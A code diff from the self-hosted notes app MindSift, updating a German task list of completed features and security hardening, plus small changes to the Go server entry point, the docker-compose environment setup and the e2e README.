+  - Regel `.bg-panel.border.rounded-full` / `.bg-canvas.border.rounded-full` in index.css: ein explizites `rounded-full` gewinnt jetzt in allen Themes gegen den Theme-Radius (betrifft auch andere runde Buttons/Avatare).
+- [x] **Demo-Modus: Automatischer 20-Minuten-Reset-Ticker & Reset-Event** *(Commit `6b9eb62`)*
+  - `DEMO_RESET_MINUTES` (Standard 20, 0 = aus); feste IDs der Demo-Konten, damit Sitzungen den Reset überleben; laufende Anfragen sperren den Reset (Streams ausgenommen); `DEMO_RESET` an alle Verbindungen; `/auth/status` liefert `demoNextReset` und `demoResetInSeconds`.
+- [x] **Demo-Modus: Live-Countdown-Timer & Reset-Banner in der Titelleiste** *(Commit `6b9eb62`)*
+  - „✨ Demo · Reset in MM:SS“ statt der Versionsnummer (Desktop und mobil, Tooltip); nach dem Reset Cache geleert, Ansichten neu geladen, Hinweis „Demo-Instanz wurde zurückgesetzt“; ohne Event fragt die App nach Ablauf selbst nach. Live mit 1-Minuten-Reset geprüft.
+- [x] **Rate-Limiting & temporäre Kontosperre bei Login-Fehlversuchen (FLAW-09 Abschluss)** *(Commit `11c14fa`)*
+  - Sperre nach Fehlversuchen: Konto + Adresse 3, Konto 20, Adresse 30, je 15 Min., 429 mit Retry-After; so kann ein Angreifer den Admin nicht von außen aussperren. Erfolg bzw. Passwort-Reset heben die Sperre auf. Client-IP nur von vertrauenswürdigen Proxys (`TRUSTED_PROXIES`, Standard private Netze, `all` = altes Verhalten); `LOGIN_PROTECTION=false` schaltet alles ab.
+- [x] **API-Key Scopes einschränken & Webhook-Ingest für Triage, Aufgaben und Listeneinträge** *(Commit `5c711c2`)*
+  - Scopes `webhook:triage|task|list` (Standard Triage, alte Keys → Triage); Ingest mit `target` task (optional `taskListId`) und `list_item` (`listId`, nur mit Schreibrecht), 403 ohne Scope; Keys öffnen keine Live-Streams mehr. Nebenbei FLAW-27 behoben (3900c61): Listeneinträge waren ohne Rechteprüfung änderbar.
+- [x] **API-Key Scopes im Ecosystem-Tab (Auswahl bei Erstellung & Badge-Anzeige)** *(Commit `5c711c2`)*
+  - Die sichtbare Key-Verwaltung lag in den Kontoeinstellungen, `EcosystemView` war toter Code und ist entfernt; neues `ApiKeysPanel` mit Scope-Auswahl (mind. einer), Badges je Key, Simulator für Inbox/Aufgabe/Listeneintrag und Beispielen mit `X-API-Key`-Header.
+- [x] **Automatische Server- & Benutzer-Backups (Backlog / Später geplant)** *(Commit `c97765e, 64e077d`)*
+  - Admin: Schalter, Uhrzeit, Aufbewahrung (Standard 03:00, 3 Tage), Liste, Download, „Jetzt sichern“; täglich DB-Abzug (`VACUUM INTO`, gzip) und ein ZIP je Benutzer unter `backups/`, verpasste Läufe werden nachgeholt. Benutzer: eigene Server-Backups herunterladen oder einspielen (ersetzen/hinzufügen, nach Bereichen Notizen/Aufgaben/Listen/Inbox/Themes); Import mit derselben Bereichsauswahl; Themes jetzt in Export/Import.
+- [x] **Quick-Add FAB: Hold-to-Record Sprachaufnahme mit Swipe-to-Cancel** *(Commit `eabb018, 3739872`)*
+  - Von Gemini umgesetzt (HoldToRecordFab: Tippen öffnet wie bisher, Halten nimmt per Spracherkennung auf und speichert in die Inbox, nach oben ziehen bricht ab, Rückfall ohne Spracherkennung, Tests). Nachgebessert: Bedienung per Tastatur/Screenreader, Erfolgsmeldung erst nach dem Speichern, Randfarbe im Abbruch-Zustand.
+- [x] **Sicherheit S1: Sichere Links & Sicherheits-Header (FLAW-28, FLAW-29)** *(Commit `b2ecda9`)*
+  - Links nur `http`/`https`/`mailto` (`safeHref`); CSP, `X-Frame-Options`, `nosniff`, `Referrer-Policy`, `Permissions-Policy`; Inline-Scripts der Startseite in Dateien verschoben.
+- [x] **Sicherheit S2: Serverseitige Sitzungen & aktuelles Passwort (FLAW-30, FLAW-31)** *(Commit `1af3a6e`)*
+  - Tabelle `sessions` (ersetzt `revoked_tokens`), gleitend 30 Tage, Token-Erneuerung über `X-Session-Token`; Geräteliste mit Einzel-Abmelden im Profil; Passwort/E-Mail nur mit aktuellem Passwort, Hinweismail an alte Adresse. Upgrade meldet alle einmal ab.
+- [x] **Sicherheit S3: Längere IDs, Einladungscodes, Rate-Limits (FLAW-32, FLAW-39, FLAW-40)** *(Commit `3709282`)*
+  - IDs 96 Bit, Codes `INV-XXXXX-…` mit 100 Bit; Registrierung 20 und „Passwort vergessen“ 10 Anfragen pro Adresse in 15 Min.; Einladung wird vor dem Konto atomar beansprucht.
+- [x] **Sicherheit S4: Demo, SMTP-Passwort, Limits, Backups, Downloads (FLAW-33 bis FLAW-38)** *(Commit `9d96981`)*
+  - Demo verschickt nichts und schützt die gemeinsamen Konten (403 „In der Demo deaktiviert“, Hinweise in der UI); SMTP-Passwort nie an den Browser; `?token=` nur API-Keys; 2-MB-Körperlimit; Konto löschen entfernt Server-Backups; 30 Min. für große Downloads/Importe.
+- [x] **Triage: Listenauswahl überspringen, wenn es nur eine beschreibbare Liste gibt** *(Commit `3a27a37`, gemergt in `ef16778`)*
+  - Von Gemini umgesetzt (Desktop-Button „Auf ‹Liste›“, mobiles Aktions-Sheet, Warteschlange, Schnellerfassung; nur lesbar geteilte Listen ausgeblendet; Tests). Nachgebessert: `useMemo` für die Listenfilterung in der Schnellerfassung. Release v0.6.0.
+- [x] **Serverseitige Whisper-Anbindung (ENV-Konfiguration, `/api/v1/voice/transcribe`, Compose-Dienst)** *(Commit `7801cd1`)*
+  - Abweichend vom ursprünglichen Entwurf nur per ENV (`STT_URL`, `STT_MODEL`, `STT_LANGUAGE`, `STT_API_KEY`, `STT_DISABLED`, Schutzwerte `STT_MAX_SECONDS`, `STT_MAX_UPLOAD_MB`, `STT_MAX_PARALLEL`, `STT_PER_USER_PER_HOUR`, `STT_TIMEOUT_SECONDS`); URL gesetzt = Server-Modus, Demo immer Browser. Admin zeigt nur eine Statuskarte mit Testaufnahme. Compose-Profil `whisper` (speaches 0.8.3-cpu, Modelle in `./whisper`, UID 1000); MindSift stößt den Modell-Download selbst an. Echt getestet mit speaches (tiny/small/large-v3-turbo).
+- [x] **Spracheingabe im Frontend auf den Server-Modus umstellen (V2)** *(Commit `7fa21e4`)*
+  - Gemeinsamer Hook `useVoiceInput` + `VoiceWave` für Quick-Dump-Leiste, mobiles Erfassen-Sheet und Halte-Knopf; Server-Modus mit MediaRecorder, echten Pegel-Wellen und „Wird erkannt…“, Browser-Modus wie bisher, Mikrofon ausgeblendet bei `off`/ohne Unterstützung. Mit speaches im Browser geprüft (Desktop, Handy halten, Handy-Sheet).
+- [x] **Workspace-Sidebar: Cleanes Datei-Explorer-Layout ohne Sektions-Überschriften** *(Commit `9f3c78d, gemergt a9d0e49`)*
+  - Von Gemini 3.8 umgesetzt: keine Überschriften mehr, angeheftete Notizen oben (mit kleinem Pin, Trenner), darunter Ordner und Notizen der Hauptebene; angeheftete Root-Notizen nicht doppelt; Tests.
+- [x] **Workspace `/code`-Block: Sprachauswahl & Live-Syntax-Highlighting im VSCodium / VS-Code-Stil** *(Commit `ff53f06, gemergt 9124809, Fix cc68d3f`)*
+  - Von Gemini 4 umgesetzt: CodeBlockEditor mit Sprachauswahl (~50 Sprachen, nachgeladen), Live-Highlighting als Overlay, Kopieren/Als Text, Tab/Shift+Tab, `/code yaml` und ```yaml; Farben als Theme-Variablen (Dark+/Light+) in allen Themes. Nachgebessert: Fokus blieb nach der Umwandlung nicht im Block (Tippen löste App-Kürzel aus).
+- [x] **Docker-Setup vereinfachen: Whisper-Service auskommentieren statt `COMPOSE_PROFILES=whisper`** *(Commit `e385a44`)*
+  - Profil entfernt; whisper-Block in docker-compose.yml auskommentiert mit Schritt-für-Schritt-Anleitung darüber (Rauten entfernen, STT_URL setzen, Ordner für UID 1000 anlegen); eingeschaltet als gültiges YAML geprüft. README, Architektur-Doku und CHANGELOG angepasst.
+- [x] **Docker-Umgebung: Erklärungskommentare der Variablen von `docker-compose.yml` nach `.env.example` verschieben** *(Commit `e385a44`)*
+  - .env.example komplett auf Deutsch kommentiert (Funktion, Standard, Einheiten, Auswahl), nach Themen gegliedert; docker-compose.yml nur noch Zuordnungen mit Verweis oben auf .env/.env.example. Nebenbei: TZ, TRUSTED_PROXIES, LOGIN_PROTECTION, DEMO_RESET_MINUTES, LEGAL_*_CONTENT wurden vorher gar nicht durchgereicht.
+- [x] **Medien in Notizen: Ablage im Backend (M1)** *(Commit `177fa49`)*
+  - Tabelle `media`, Dateien in `data/media/<docId>/`; Upload mit Schreibrecht, Abruf mit Leserecht (auch kopierte Blöcke), Format am Inhalt erkannt (kein SVG), externe Bilder per SSRF-geschütztem Kopieren; Verweis im Blockinhalt (`media:<id>`), daher keine Änderung am Sync-Modell; Aufräumen nach 24 h ohne Verweis; Grenzen `MEDIA_*`.
+- [x] **`/bild` (M2)** *(Commit `e8fa14a`)*
+  - Nur im leeren Punkt; Auswahl inline (Datei, Kamera, Drag & Drop, Strg+V, Link), Esc bricht ab; Browser verkleinert auf 2048 px und speichert WebP (EXIF/GPS entfällt); Vollbild und Beschriftung.
+- [x] **`/audio` (M3)** *(Commit `3f5e3b2`)*
+  - Bereit-Bubble mit grünem Mikrofon, Aufnahme rot mit Live-Wellen links und Zeit, danach Inline-Player; Datei-Upload; WebM-Dauer-Fix; „Transkribieren“ mit eigener Spracherkennung.
+- [x] **`/diktat` (M4)** *(Commit `3f2bc96`)*
+  - Startet sofort, vollflächiger Wellen-Button mit halbtransparentem „Stopp“, Text landet als normaler Text im Punkt; nur angeboten, wenn Spracheingabe verfügbar.
+- [x] **Medien in Backup, Export und Import (M6)** *(Commit `1f63e08`)*
+  - Backup-ZIP mit `media/`, Markdown-Archiv mit `attachments/` (relative Einbettung), Rück-Import mit neuen IDs; Obsidian-Import übernimmt eingebettete Bilder/Audio, ungenutzte Dateien als übersprungen gemeldet.
+- [x] **Workspace Notizen-Editor: Mobiles Padding reduzieren & horizontales Ausweichen bei tiefen Einrückungen** *(Commit `83408d1`)*
+  - Rand mobil pl-2/pr-1, Einrückung per CSS-Variable 14 px (ab sm 22 px), Zeilen-Mindestbreite 14rem mobil mit seitlichem Scrollen des Inhalts; zusätzlich Zoom-Knopf mobil ausgeblendet (Tipp auf den Punkt zoomt) und Löschen nur in der aktiven Zeile. Gemessen: schmalste Textzeile 128 → 244 px (Demo-Notiz), bei 16 Ebenen ≥ 174 px.
+- [x] **Slash-Befehle vereinheitlichen: `/image` statt `/bild`, knappe Texte & Layout-Fix im Menü** *(Commit `1632dd2`)*
+  - /image statt /bild (Aliase bild, foto; auch sprachnotiz, dictate), kurze Texte, Menü w-72, Label nowrap, Beschreibung truncate rechtsbündig. /diktat bleibt deutsch wie im ursprünglichen Auftrag.
+- [x] **Admin-Einstellungen: E-Mail-Absendername (`SMTP_FROM_NAME`) konfigurierbar machen & Vorbelegung** *(Commit `56c1fa0`)*
+  - Feld „Absender-Name (SMTP_FROM_NAME)“ mit Platzhalter MindSift und Hinweis; Platzhalter der Absenderadresse auf reine Adresse geändert.
+- [x] **E-Mail-Absendername unterstützen (`SMTP_FROM_NAME` & Default „MindSift“)** *(Commit `56c1fa0`)*
+  - SMTP_FROM_NAME (Standard MindSift) in Config, system_settings (smtp_from_name), Compose und .env.example; reine Adresse bekommt den Namen im From-Header, ein Name in SMTP_FROM hat Vorrang, MAIL FROM bleibt die reine Adresse; Test mit Umlauten.
+- [x] **Link-Vorschau über Punkten mit Web-Adresse (M5)** *(Commit `4c26eb2`)*
+  - Server holt https-Seiten SSRF-geschützt, liest og:/twitter:-Tags, Titel, Beschreibung, Icon, Bild; Cache 7 Tage in `link_previews`; kompakte Karte über dem Punkt, ✕ macht `[Titel](url)` daraus (synchronisiert), globaler Schalter unter Darstellung; in der Demo aus. Echt getestet mit Wikipedia und go.dev (Handy und Desktop).
+- [x] **Outliner: Bulletpoint (inkl. Unterbaum) in eigenständige Notiz umwandeln** *(Commit `4d1b37c`)*
+  - Knopf am Punkt (Desktop) und /extract bzw. /notiz; serverseitig über das Operationsprotokoll (offene Editoren folgen live); Titel ohne Hashtags (bleiben am Link), eindeutig mit (2); gleicher Ordner; Freigaben übernommen, fremder Besitzer bekommt Schreibrecht; Hinweis mit „Öffnen“.
+- [x] **Notizen zusammenführen (Merge Documents, z. B. per Drag & Drop in der Sidebar)** *(Commit `4d1b37c`)*
+  - Drag & Drop Notiz auf Notiz in der Sidebar (Hervorhebung) oder Knopf im Notizkopf mit Suche; Bestätigungsdialog; Quelle (muss eigen sein) als h2-Abschnitt mit Unterpunkten angehängt, Quelle in den Papierkorb; Toast mit vollständigem Rückgängig (Abschnitt weg, Quelle zurück). Medien bleiben erreichbar.
+- [x] **Link-Vorschau nur bei `/link` im leeren Bulletpoint & Slash-Menü Schließen-Verhalten reparieren** *(Commit `446f8e4`)*
+  - Gemini 4: Karte nur bei Punkt = genau eine https-Adresse (bzw. /link in leerem Punkt); Slash-Menü nur am Anfang/nach Leerzeichen, Esc/Backspace schließen.
+- [x] **Workspace Outliner: Enter-Sperre am letzten leeren Bulletpoint entfernen** *(Commit `446f8e4`)*
+  - Gemini 4: Sperre entfernt, Enter am Ende legt neuen Punkt an.
+- [x] **Slash-Befehls-Menü (`/`): Ausgewähltes Element bei Pfeiltastennavigation automatisch ins Sichtfeld scrollen** *(Commit `446f8e4`)*
+  - Gemini 4: aktiver Eintrag scrollt per scrollIntoView mit.
+- [x] **`/diktat`: Live-Mitschreiben & kein vorzeitiger Abbruch bei Sprechpausen** *(Commit `6795edb`)*
+  - Gemini 4: Option live in useVoiceInput; Browser-Neustart bei Pausen, Server-Modus in Stücken (eigener Recorder je Abschnitt), mitwachsender Text und Zeit.
+- [x] **`/extract` Race-Condition & Konflikt hinter Proxys/Polling beheben (Lokale Link-Ersetzung)** *(Commit `362dd3b`)*
+  - Umbau: Server legt nur die Notiz an und liefert den Link, der Editor ersetzt den Ast selbst über die Sync-Engine (keine Konflikte, sofort sichtbar, auch bei Polling).
+- [x] **Workspace-Sidebar: Ausgelagerte Notiz (`/extract`) sofort ohne Tab-Wechsel in der Dateiliste anzeigen** *(Commit `362dd3b`)*
+  - onDocCreated/onDocRemoved vom Editor an WorkspaceView, Ordner wird aufgeklappt.
+- [x] **Rückgängig-Funktion (Strg+Z / Undo) für ausgelagerte Notizen (`/extract`)** *(Commit `362dd3b`)*
+  - Strg+Z der Engine holt den Ast zurück, POST /documents/{id}/extract/undo legt die neue Notiz in den Papierkorb; Toast mit Öffnen und Rückgängig.
+- [x] **Workspace Header & Aktionen aufräumen: Undo/Redo-Buttons, Drei-Punkte-Menü & Status-Pills nach oben in die Tab-Leiste** *(Commit `5f27e7c`)*
+  - Gemini 4: Status-Pillen in der Tab-Leiste, Undo/Redo-Knöpfe, Drei-Punkte-Menü (Anheften, Zusammenführen, Export, Löschen).
+- [x] **Benutzer-Einstellungen: Granulare Benachrichtigungen & Kanal-Routing (E-Mail & Discord)** *(Commit `d2afcf4, a69bcba`)*
+  - Gemini 4 Oberfläche (Matrix, Tageszusammenfassung, Beobachten-Knopf), Claude Backend (Routing, Bündelung 5 Min., Watcher, Pause, eigene Änderungen); Gruppen-Freigaben in der Tageszusammenfassung (6b3c32a). Release v0.8.0.
+- [x] **HTML-E-Mail-Templates mit Branding & Watcher-Benachrichtigungen für E-Mail & Discord** *(Commit `a69bcba`)*
+  - multipart/alternative mit schlichtem HTML (inline Styles, keine externen Ressourcen), Discord als ein Embed; gebündelte Nachrichten und Tageszusammenfassung.
+- [x] **Code-Blöcke im Workspace (`CodeBlockEditor`): Zeilennummern links anzeigen** *(Commit `1d68638`)*
+  - Zeilennummernspalte mit synchronem Scrollen, horizontaler Bildlauf statt Umbruch (v0.9.0).
+- [x] **Outliner: Standard-Formatierungs-Shortcuts (Strg+B, Strg+I, Strg+K, etc.) für Textauswahl unterstützen** *(Commit `a317ce0`)*
+  - Strg/Cmd+B, +I (umschaltend), +K (Link bzw. Link-Dialog); nicht in Code-Blöcken und schreibgeschützten Notizen (v0.9.0).
+- [x] **Workspace: Doppelten Scrollbalken (Outer Window & Inner Editor) beheben** *(Commit `6c154af`)*
+  - Workspace füllt das Fenster (100dvh, Flex), nur die Notiz scrollt; am Handy kein getrenntes Scrollen mehr (seitlicher Bildlauf-Bereich behält seine Höhe).
+- [x] **Workspace: Drag & Drop-Zustand beim Abbruch bereinigen (Fix für dauerhaft sichtbares „Auf Hauptebene verschieben“)** *(Commit `6c154af`)*
+  - Globaler dragend-Listener räumt alle Zieh-Zustände auf.
+- [x] **Workspace: Sidebar-Toggle-Button bei eingeklappter Leiste dezent stylen (nur Icon in Akzentfarbe)** *(Commit `6c154af`)*
+  - Rahmen neutral, nur das Symbol in Akzentfarbe.
+- [x] **Build & Versionierung: `-dev`-Suffix strikt auf `mindsift:dev` beschränken** *(Commit `6c154af`)*
+  - main-Builds bekommen v<package-version> als APP_VERSION, Tags den Tag, alles andere -dev.
+- [x] **Eigener (ausgehender) Webhook ist nicht mehr einstellbar** *(Commit `261579f`)*
+  - Dritter Kanal „Webhook“ in der Matrix und der Tageszusammenfassung, JSON-Digest (event: digest).
+- [x] **⏸ Zurückgestellt: Workspace: „Heute“-Button für tägliche Notizen (Daily Notes / Logseq- & Obsidian-Workflow)** *(Commit `9008d7c`)*
+  - Als Journal umgesetzt: eine Notiz pro Tag, endlos untereinander, Kalender in der Seitenleiste, Teilen des sichtbaren Tags, pro Gerät abschaltbar.
+- [x] **Outliner: Nummerierte Listen (`/number`) & Markdown-Einfügen (Absätze, Nummern)** *(Commit `2bfe74e`)*
+  - 1./a./i. nach Verschachtelung, Enter setzt fort, leerer Punkt beendet; Einfügen: Leerzeile trennt Absätze, Einzelabsatz ging verloren (behoben).
+- [x] **Outliner: Block-Typ-Rückumwandlung in Standardtext (`/text`, Menü & Undo-Sicherheit)** *(Commit `fd72500`)*
+  - /text (p, paragraph, bullet, standard), Aufgaben-Menü und Aktionsblase wandeln zurück; Trennlinie per Backspace/Entf (v0.10.0).
+- [x] **Outliner: Slash-Command Menü bei Klick ins Leere / Blur schließen & Trigger-Kontext anpassen** *(Commit `fd72500`)*
+  - Erkennung an der Cursorposition, kontextabhängige Befehle, schließt bei Klick daneben und Blur (v0.10.0).
+- [x] **Outliner: Hässlichen Zeilenumbruch durch TODO-3-Punkte-Menü & Badges beheben** *(Commit `fd72500`)*
+  - Badges und Menü aus dem Fließtext gelöst (v0.10.0).
+- [x] **Outliner: Aktions-Buttons (Zoom, Auslagern, Löschen) als schwebendes Overlay statt Flex-Breitenverengung** *(Commit `fd72500`)*
+  - Schwebende Blase, Textbreite bleibt gleich (v0.10.0).
+- [x] **Outliner: Schriftgrößen für H1, H2 und H3 deutlich anheben (H1 auf Titel-Niveau)** *(Commit `fd72500`)*
+  - H1 xl/2xl, H2 lg/xl, H3 base; Notiztitel dünn und größer (v0.10.0).
+- [x] **Design: Zähler-Badges (`CountBadge`) & Slash-Command-Auswahl mit reduzierter Deckkraft (Opacity 0.6) stylen** *(Commit `1753208`)*
+  - Akzent-Badge über accent-dim mit Rand, Muted über panel-elevated; Slash-Auswahl dezent (v0.10.0).
+- [x] **Quick Dump / Instant-Capture: Unnötiges Scrolling deaktivieren, Platzhaltertext kürzen & Absende-Pfeil nach unten umdrehen** *(Commit `1753208`)*
+  - Kurzer Platzhalter, kein Scrollen einzeilig, Pfeil nach unten (v0.10.0).
+- [x] **Triage-Deck: Mobile Schnellaktions-Buttons (Entfernen, Aufgabe, Liste, Notiz) unter der Karte einblenden** *(Commit `1753208`)*
+  - Leiste Wegwerfen/Liste/Notiz/Aufgabe unter der Karte (v0.10.0).
+- [x] **Workspace: „Neuer Ordner“-Modal zentriert unter dem Mauszeiger öffnen (Oberkante mittig)** *(Commit `1753208`)*
+  - FormSheet mittig unter dem Klick mit Rand-Schutz (v0.10.0).
+- [x] **Light Theme: Hintergrundfarben in Notizen korrigieren (Sidebar grau, Editor weiß)** *(Commit `2542e0e`)*
+  - Editor weiß, Ordnerleiste grau über --bg-editor/--bg-sidebar (v0.10.0).
+- [x] **PWA Web Share Target: Text, Links und Bilder aus Smartphone-Apps direkt in den MindSift-Posteingang teilen** *(Commit `86d2cd0`)*
+  - Teilen-Ziel im Manifest, Service Worker legt geteilte Inhalte ab, Import in den Posteingang; Bilder als Hinweistext (Gemini).
+- [x] **Outliner: Deep-Linking & Verlinkung einzelner Bulletpoints (Block-Referenzen)** *(Commit `1a49e6b`)*
+  - [[Notiz#^id|Notiz › Auszug]], kopieren an jedem Punkt, Auswahl im Link-Dialog, Sprung mit Hervorhebung, Hinweis wenn der Punkt fehlt.
+- [x] **Workspace: Sidebar-Kopfzeile aufräumen (Überschrift entfernen, Suche & Aktions-Buttons in eine Zeile)** *(Commit `d408e7d`)*
+  - Überschrift entfernt, Suche + neuer Ordner + neue Notiz in einer Zeile.
+- [x] **Workspace: Ablenkungsfreier Fokus-Modus (Zen-Modus) mit Auto-Hide-Header** *(Commit `226c863`)*
+  - Strg+Umschalt+F / Menü, Lesebreite, Kopfleiste am oberen Rand, Esc beendet.
+- [x] **Workspace: Notiz-Aktionsleiste in die obere Tab-Leiste integrieren, Editor-Headerleiste komplett entfernen & Statusanzeigen vereinheitlichen** *(Commit `d408e7d`)*
+  - Desktop: Aktionen per Portal in der Workspace-Leiste, feste Reihenfolge, Speicherstatus nur als Symbol; Handy: Titel erst nach Wegscrollen.
+- [x] **Workspace Journal: Umschaltbares Schließen (Toggle), prominentes Auffahr-Panel & Zustandskonsistenz** *(Commit `375dda9`)*
+  - Panel mit Rahmen, zweiter Klick schließt, Zustand bleibt über Tab-Wechsel.
+- [x] **Outliner: Hierarchisches Einrücken nach Überschriften & Erkennung von Markdown-Listen (`*`, `-`, `1.`)** *(Commit `375dda9`)*
+  - Einfügen und Import verschachteln Abschnitte unter Überschriften, Enter an Überschrift legt Unterpunkt an, - / * / + als Kürzel.
+- [x] **Globaler App-Footer mit Versionsnummer, „Über MindSift“, Rechtstexten & Custom-Link (inkl. Demo-Modus)** *(Commit `c181ffe`)*
+  - Footer am Desktop, Über-Dialog, LEGAL_CUSTOM_LINK_* (Gemini).
+- [x] **Web Push-Benachrichtigungen bei Fälligkeiten über Service Worker & VAPID (Browser & Handy)** *(Commit `38b8c92`)*
+  - Push als Kanal in der Matrix und Tageszusammenfassung, VAPID automatisch, Gerät pro Browser ein-/ausschalten, Test; Verschlüsselung per Test geprüft.
+- [x] **CI/CD & Pipeline: Dreifachen Build & redundante Testläufe bei Release-Merge/Tags optimieren** *(Commit `141f87f`)*
+  - Tests einmal pro Code-Stand, Release-Tag taggt latest um; Zuordnung als Image-Label statt Zusatz-Tags.

cmd/server/main.go

@@ -9,6 +9,7 @@ import (
 	"net/http"
 	"os"
 	"os/signal"
+	"path/filepath"
 	"syscall"
 	"time"
 	_ "time/tzdata" // time zones without system tzdata (scratch/alpine images)
@@ -46,6 +47,7 @@ func main() {
 
 	if cfg.DemoMode {
 		slog.Info("🧪 Demo-Modus aktiv: Setze Datenbank zurück und richte Demo-Accounts ein...")
+		_ = os.RemoveAll(filepath.Join(filepath.Dir(cfg.DatabasePath), "media")) // uploads of the last run
 		if err := store.ResetAndSeedDemo(); err != nil {
 			slog.Warn("⚠️ Fehler beim Einrichten des Demo-Modus", "error", err)
 		} else {
@@ -54,7 +56,7 @@ func main() {
 	}
 
 	// Seed SMTP defaults from environment variables into DB if not yet configured in DB
-	store.SeedSMTPDefaultsFromEnv(cfg.SMTPHost, cfg.SMTPPort, cfg.SMTPUser, cfg.SMTPPass, cfg.SMTPFrom, cfg.SMTPTLS, cfg.SMTPSkipVerify)
+	store.SeedSMTPDefaultsFromEnv(cfg.SMTPHost, cfg.SMTPPort, cfg.SMTPUser, cfg.SMTPPass, cfg.SMTPFrom, cfg.SMTPFromName, cfg.SMTPTLS, cfg.SMTPSkipVerify)
 
 	wsHub := ws.NewHub()
 

docker-compose.yml

@@ -1,3 +1,6 @@
+# MindSift – Docker Compose
+# Eingestellt wird alles in der Datei .env neben dieser Datei. Was jede Variable bewirkt, steht in
+# .env.example (kopieren: cp .env.example .env). Hier stehen nur die Zuordnungen mit Standardwerten.
 services:
   mindsift:
     image: git.dsit.me/sandrodach/mindsift:dev
@@ -10,25 +13,71 @@ services:
     environment:
       - PORT=8080
       - DATA_DIR=/data
+      - TZ=${TZ:-Europe/Berlin}
       - JWT_SECRET=${JWT_SECRET:-change_this_to_a_secure_random_key_min_32_chars}
       - BASE_URL=${BASE_URL:-http://localhost:8080}
       - ALLOW_REGISTRATION=${ALLOW_REGISTRATION:-false}
+      - TRUSTED_PROXIES=${TRUSTED_PROXIES:-private}
+      - LOGIN_PROTECTION=${LOGIN_PROTECTION:-true}
       - LOG_LEVEL=${LOG_LEVEL:-info}
-      # Set LOG_LEVEL=debug or DEBUG=true for detailed request and sync logging
-      # - LOG_LEVEL=debug
-      # - DEBUG=true
-      # Demo mode: if true, automatically seeds demo accounts admin/admin and user/user
+      - DEBUG=${DEBUG:-false}
       - MINDA_DEMO=${MINDA_DEMO:-false}
-      # Optional SMTP / Mail Configuration (can also be configured in Admin UI)
+      - DEMO_RESET_MINUTES=${DEMO_RESET_MINUTES:-20}
+      # E-Mail
       - SMTP_HOST=${SMTP_HOST:-}
       - SMTP_PORT=${SMTP_PORT:-587}
       - SMTP_USER=${SMTP_USER:-}
       - SMTP_PASS=${SMTP_PASS:-}
       - SMTP_FROM=${SMTP_FROM:-}
+      - SMTP_FROM_NAME=${SMTP_FROM_NAME:-MindSift}
+      - NOTIFY_DIGEST_MINUTES=${NOTIFY_DIGEST_MINUTES:-5}
       - SMTP_TLS=${SMTP_TLS:-true}
       - SMTP_SKIP_VERIFY=${SMTP_SKIP_VERIFY:-false}
-      # Optional: Impressum / Datenschutz (URL oder Markdown-Datei, z. B. per Volume eingebunden)
+      # Web-Push: ohne Angabe erzeugt MindSift die Schlüssel selbst
+      # - VAPID_SUBJECT=${VAPID_SUBJECT:-mailto:admin@example.com}
+      # Impressum / Datenschutz
       - LEGAL_IMPRINT_URL=${LEGAL_IMPRINT_URL:-}
       - LEGAL_PRIVACY_URL=${LEGAL_PRIVACY_URL:-}
+      - LEGAL_IMPRINT_CONTENT=${LEGAL_IMPRINT_CONTENT:-}
+      - LEGAL_PRIVACY_CONTENT=${LEGAL_PRIVACY_CONTENT:-}
       - LEGAL_IMPRINT_CONTENT_FILE=${LEGAL_IMPRINT_CONTENT_FILE:-}
       - LEGAL_PRIVACY_CONTENT_FILE=${LEGAL_PRIVACY_CONTENT_FILE:-}
+      # Eigener Link im Footer (nur https://)
+      # - LEGAL_CUSTOM_LINK_LABEL=${LEGAL_CUSTOM_LINK_LABEL:-}
+      # - LEGAL_CUSTOM_LINK_URL=${LEGAL_CUSTOM_LINK_URL:-}
+      # Bilder und Audio in Notizen
+      - MEDIA_MAX_IMAGE_MB=${MEDIA_MAX_IMAGE_MB:-15}
+      - MEDIA_MAX_AUDIO_MB=${MEDIA_MAX_AUDIO_MB:-50}
+      - MEDIA_QUOTA_MB=${MEDIA_QUOTA_MB:-0}
+      - MEDIA_DEMO_MAX_MB=${MEDIA_DEMO_MAX_MB:-3}
+      # Spracherkennung
+      - STT_URL=${STT_URL:-}
+      - STT_MODEL=${STT_MODEL:-deepdml/faster-whisper-large-v3-turbo-ct2}
+      - STT_LANGUAGE=${STT_LANGUAGE:-de}
+      - STT_API_KEY=${STT_API_KEY:-}
+      - STT_DISABLED=${STT_DISABLED:-false}
+      - STT_MAX_SECONDS=${STT_MAX_SECONDS:-600}
+      - STT_MAX_UPLOAD_MB=${STT_MAX_UPLOAD_MB:-25}
+      - STT_MAX_PARALLEL=${STT_MAX_PARALLEL:-1}
+      - STT_PER_USER_PER_HOUR=${STT_PER_USER_PER_HOUR:-60}
+      - STT_TIMEOUT_SECONDS=${STT_TIMEOUT_SECONDS:-120}
+
+  # Optional: eigene Spracherkennung (Whisper). Zum Einschalten:
+  #   1. die Rauten vor dem Block "whisper" unten entfernen
+  #   2. in .env setzen:  STT_URL=http://whisper:8000
+  #   3. mkdir -p whisper && sudo chown 1000:1000 whisper   (der Container läuft als UID 1000)
+  #   4. docker compose up -d
+  # Das Modell lädt MindSift beim ersten Start selbst nach ./whisper (large-v3-turbo ca. 1,6 GB).
+  # RAM: large-v3-turbo ca. 2 GB, small ca. 1 GB. Kein Port nach außen nötig.
+  #
+  # whisper:
+  #   image: ghcr.io/speaches-ai/speaches:0.8.3-cpu
+  #   container_name: mindsift-whisper
+  #   restart: unless-stopped
+  #   volumes:
+  #     - ./whisper:/home/ubuntu/.cache/huggingface/hub
+  #   environment:
+  #     - WHISPER__COMPUTE_TYPE=int8   # schneller auf der CPU, kaum Qualitätsverlust
+  #     - STT_MODEL_TTL=-1             # Modell im Speicher halten statt nach 5 Min. zu entladen
+  #     - ENABLE_UI=false              # ohne die Weboberfläche von speaches
+  #     - LOG_LEVEL=info

e2e/README.md

@@ -40,4 +40,4 @@ Der Eigentümer tippt mit normaler Verbindung, der Bearbeiter sitzt hinter einem
 
 ## Screenshots
 
-`e2e/screenshots.sh` baut das Image, startet es im Demo-Modus mit frischer Datenbank und erzeugt die Bilder in `screenshots/` neu (`screenshots.mjs`). Für die Versionsangabe im Kopf: `APP_VERSION=v0.2 e2e/screenshots.sh`. In der Workspace-Aufnahme bearbeitet der Demo-Benutzer `user` gleichzeitig einen Bullet, damit Sperre und Präsenz zu sehen sind.
